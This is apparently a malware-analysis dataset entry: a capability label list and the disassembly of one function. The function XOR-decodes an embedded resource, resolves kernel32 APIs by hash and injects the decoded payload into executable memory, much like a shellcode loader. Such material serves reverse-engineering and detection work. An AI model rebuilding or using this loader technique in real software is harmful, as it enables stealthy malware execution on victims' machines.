Function at 0x14000bfa9
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
jmp 0x14000bfa9
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
mov edx, 0x65
mov r8d, 0xa
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rsi, rax
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
xor ecx, ecx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov esi, eax
mov rcx, rsi
call fcn.1400031a2
mov r14, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rcx, r14
mov rdx, rax
mov r8, rsi
call fcn.140003558
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
cmp ebx, 0xf
ja 0x14000c046
lea rcx, [rsp + 0x30]
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 0xf
mov rdx, r14
mov r8, rsi
call fcn.140003558
lea rdi, [rsp + rsi]
add rdi, 0x30
jmp 0x14000c095
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
lea rcx, [rbx + 1]
cmp rax, 0xfff
jb 0x14000c06d
call fcn.140003f17
jmp 0x14000c072
call fcn.140001325
mov rdi, rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
mov rcx, rax
mov rdx, r14
mov r8, rsi
call fcn.140003558
add rdi, rsi
mov byte [rdi], 0
lea rcx, [rsp + 0x60]
lea rdi, [rsp + 0x30]
mov rdx, rdi
call fcn.140002815
mov rax, qword [rdi + 0x18]
cmp rax, 0x10
jb 0x14000c0ea
mov rcx, qword [rsp + 0x30]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000c0e5
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000c2a3
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140004f7f
mov qword [rsp + 0x58], r14
mov byte [rsp + 0x34], 0
mov dword [rsp + 0x30], 0x33317830
mov rbx, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
sub r14, rbx
je 0x14000c12d
xor eax, eax
xor ecx, ecx
xor edx, edx
cmp ecx, 4
cmove ecx, eax
movsxd rcx, ecx
mov r8b, byte [rsp + rcx + 0x30]
xor byte [rbx + rdx], r8b
inc ecx
inc rdx
cmp r14, rdx
jne 0x14000c111
mov byte [rsp + 0x34], 0
mov dword [rsp + 0x30], 0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r12, rax
mov rcx, rax
mov edx, 0xefe297c0
call fcn.140003e8b
mov rdi, rax
mov rcx, r12
mov edx, 0x6e1a959c
call fcn.140003e8b
mov r15, rax
mov rcx, r12
mov edx, 0xd83d6aa1
call fcn.140003e8b
mov rbp, rax
mov rcx, r12
mov edx, 0x58c91e6f
call fcn.140003e8b
mov r13, rax
mov rcx, r12
mov edx, 0x1d7f957b
call fcn.140003e8b
mov qword [rsp + 0x50], rax
mov rcx, r12
mov edx, 0xcd7a6cae
call fcn.140003e8b
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, 0x28
xor edx, edx
mov r8d, eax
call rdi
mov rdi, rax
mov dword [rsp + 0x20], 0x40
mov rcx, rax
xor edx, edx
mov r8, r14
mov r9d, 0x3000
call r15
mov r15, rax
mov qword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, rax
mov r8, rbx
mov r9, r14
call rbp
mov rcx, rbx
xor edx, edx
mov r8, r14
call fcn.1400049b7
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, 0x10
xor edx, edx
mov r8d, eax
call r13
mov r14, rax
mov rcx, r15
mov rdx, rax
xor r8d, r8d
call qword [rsp + 0x50]
mov r15, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call r15
mov rcx, r14
call r15
mov rdi, qword [rsp + 0x58]
mov rcx, rdi
xor edx, edx
mov r8, rsi
call fcn.1400049b7
mov rcx, rdi
call fcn.1400034f9
xor ecx, ecx
mov edx, 1
call r12
test rbx, rbx
je 0x14000c291
mov rdx, qword [rsp + 0x70]
sub rdx, rbx
cmp rdx, 0x1000
jb 0x14000c289
mov rax, qword [rbx - 8]
add rbx, 0xfffffffffffffff8
sub rbx, rax
cmp rbx, 0x20
jae 0x14000c2a3
add rdx, 0x27
mov rbx, rax
mov rcx, rbx
call fcn.140004f7f
nop
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.1400028dd
int3